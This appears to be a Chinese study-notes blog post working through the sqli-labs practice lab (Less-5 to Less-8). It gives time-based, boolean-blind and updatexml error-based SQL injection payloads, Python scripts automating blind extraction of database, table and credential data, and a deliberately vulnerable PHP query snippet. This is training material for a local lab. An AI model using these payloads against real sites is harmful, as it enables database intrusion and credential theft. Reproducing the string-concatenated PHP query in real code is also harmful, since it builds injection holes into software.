SQL sqlilabs5-10T学习借鉴总结
以Less-5为例 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)
首先找注入点:
http://localhost:8010/sqli-labs/Less-5/?id=1
显示正常
http://localhost:8010/sqli-labs/Less-5/?id=1'
显示出现sql语句问题(注入点),现在加上注释
http://localhost:8010/sqli-labs/Less-5/?id=1'--+
发现没有问题,说明我们已经找到注入点了
那么接下来,使用注入语句
http://localhost:8010/sqli-labs/Less-5/?id=1'union select 1,2,3--+
发现正常显示,我认为这是因为没有具体显示位的原因。
我们可以尝试查看源码:
SELECT * FROM users WHERE id='1' union select 1,2,3-- ' LIMIT 0,1
再看报错信息,反应就是布尔型盲注、报错型注入、时间延迟型盲注了。
布尔型盲注和时间型盲注类似,但是手工注入时间成本较大,所以建议用python url+payload注入。
方法一:时间延迟型手工注入:
->特点:时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况,但是id正确的时候的回显有利于观察。
爆库长payload
?id=1' and if(length(database())=8,sleep(5),1)--+
爆库名payload
?id=1' and if(left(database(),1)='s',sleep(5),1)--+
明显延迟,数据库第一个字符为s,加下来以此增加left(database(),字符长度)中的字符长度,等号右边以此爆破下一个字符,正确匹配时会延迟。最终爆破得到left(database(),8)='security'
爆表名payload
?id=1' and if( left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' ,sleep(5),1)--+
爆列名payload
?id=1' and if(left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' ,sleep(5),1)--+
爆破值payload
?id=1' and if(left((select password from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
?id=1' and if(left((select username from users order by id limit 0,1),4)='dumb' ,sleep(5),1)--+
按照id排序,这样便于对应。注意limit 从0开始.通过坚持不懈的尝试终于爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
Left()函数:
LEFT(ARG,LENGTH)、RIGHT(ARG,LENGTH)
LEFT、RIGHT函数返回ARG最左边、右边的LENGTH个字符串,ARG可以是CHAR或BINARY STRING。
eg:
SELECT LEFT(NAME,2),RIGHT(NAME,2) FROM T1
ORACLE substr()函数
substr(字符串,截取开始位置,截取长度) //返回截取的字
substr('Hello World',0,1) //返回结果为 'H' *从字符串第一个字符开始截取长度为1的字符串
substr('Hello World',1,1) //返回结果为 'H' *0和1都是表示截取的开始位置为第一个字符
substr('Hello World',2,4) //返回结果为 'ello'
substr('Hello World',-3,3)//返回结果为 'rld' *负数(-i)表示截取的开始位置为字符串右端向左数第i个字符
Oracle数据库中是没有left() 和right() 函数的
方法二 :布尔型手工注入:
可以先测试长度,找到长度后,再进行注入。
在布尔型注入中,正确会回显,错误没有回显,以此为依据逐字爆破,注意id=1
手工注入时可使用例如left((select database()),1)<'t' 这样的比较二分查找方法快速爆破。
爆库payload
?id=1' and left((select database()),1)='s'--+
爆表paylaod
?id=1' and left((select table_name from information_schema.tables where table_schema=database() limit 1,1),1)='r' --+
修改limit x,1和left中的位数限定数字,爆破到第一张表为referer,终于在第三张表爆破到user表,名为users。
爆列名payload
?id=1' and left((select column_name from information_schema.columns where table_name='users' limit 4,1),8)='password' --+
爆字段payload
?id=1' and left((select password from users order by id limit 0,1),1)='d' --+
爆用户名payload
?id=1' and left((select username from users order by id limit 0,1),1)='d' --+
按照id排序,这样便于对应。注意limit 从0开始.最后爆破到第一个用户的名字dumb,密码dumb,需要注意的是,mysql对大小写不敏感,所以你不知道是Dumb 还是dumb。
布尔型的盲注比较烦的的就是手工注入很麻烦,必须慢慢试。
下面是python中payload操作
爆库名:
`import requests
url = "http://localhost:8010/sqli-labs/Less-8/?id=1'"
# 数据库名称长度
i = 0
while 1:
url1 = url + 'and length(database())>' + str(i) + '--+'
re = requests.get(url1)
if 'You are in' not in str(re.content):
break
i = i + 1
lenDb = i
# 数据库名称
database = ''
for i in range(lenDb):
for asc in range(65, 123):
url1 = url + 'and ascii(substr(database(),' + str(i + 1) + ',1))=' + str(asc) + ' --+'
re = requests.get(url1)
if 'You are in' in str(re.content):
database = database + chr(asc)
break
print("content:\n",str(re.text))
print(database)
`
爆表名
import requests
url = "http://localhost:8010/sqli-labs/Less-8/?id=1'"
# 表的数量
tableNum = 0
while 1:
url1 = url +"and exists(select table_name from information_schema.tables where table_schema='security' limit "+str(tableNum)+",1)--+"
re = requests.get(url1)
if 'You are in' in str(re.content):
tableNum = tableNum + 1
else:
break
tableName=[]
for n in range(tableNum):
ls = 0
# 表的长度
while 1:
url1 = url + "and length((select table_name from information_schema.tables where table_schema='security' limit "+str(n)+",1)) = "+str(ls)+"--+"
re = requests.get(url1)
if 'You are in' in str(re.content):
break
else:
ls = ls + 1
# 表名
name = ''
for i in range(ls):
for asc in range(65,123):
url1 = url + "and ascii(substr((select table_name from information_schema.tables where table_schema='security' limit " + str(n) + ",1),"+str(i+1)+",1) )="+str(asc)+" --+"
re = requests.get(url1)
if "You are in" in str(re.content):
name = name + chr(asc)
break
tableName.append(name)
print(tableName)
方法三:报错注入(Web安全攻防)
通过页面返回结果,我们可以知道,程序直接将错误信息输出到了页面上,所以可以用报错注入获取数据,报错注入有多种格式
用updatexml演示获取user()值
?id=1' and updatexml(1,concat(0x7e,(select user()),0x7e),1)--+
获取database()
?id=1' and updatexml(1,concat(0x7e,(select database()),0x7e),1)--+
获取数据库库名
?id=1' and updatexml(1,concat(0x7e,(select schema_name from information_schema.schema.schemata limit 0,1),0x7e),1)--+ 获取数据库表名
?id=1' and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='test' limit 0,1),0x7e),1)--+
在报错注入页面中,程序获取GET参数username后,将username拼接到SQL语句中,然后到数据库查询。如果执行成功,就输出OK;
如果出错,则通过echo mysqli_error(&con)将错误信息输出到页面(mysqli_error返回到上一个Mysql函数的错误)
代码如下:
<?php
$con=mysqli_connect("localhost","root","123456","test");
if(mysqli_connect_errno()){
echo "连接失败:".mysqli_connect_error();
}
$username = $_GET['username'];
if($result = mysqli_query($con,"select * from users where `username`='".$username."'")){
echo "ok";
}else{
echo mysqli_error($con);
}
?>
(主要参照https://blog.csdn.net/qq_41420747/article/details/81836327大佬博客)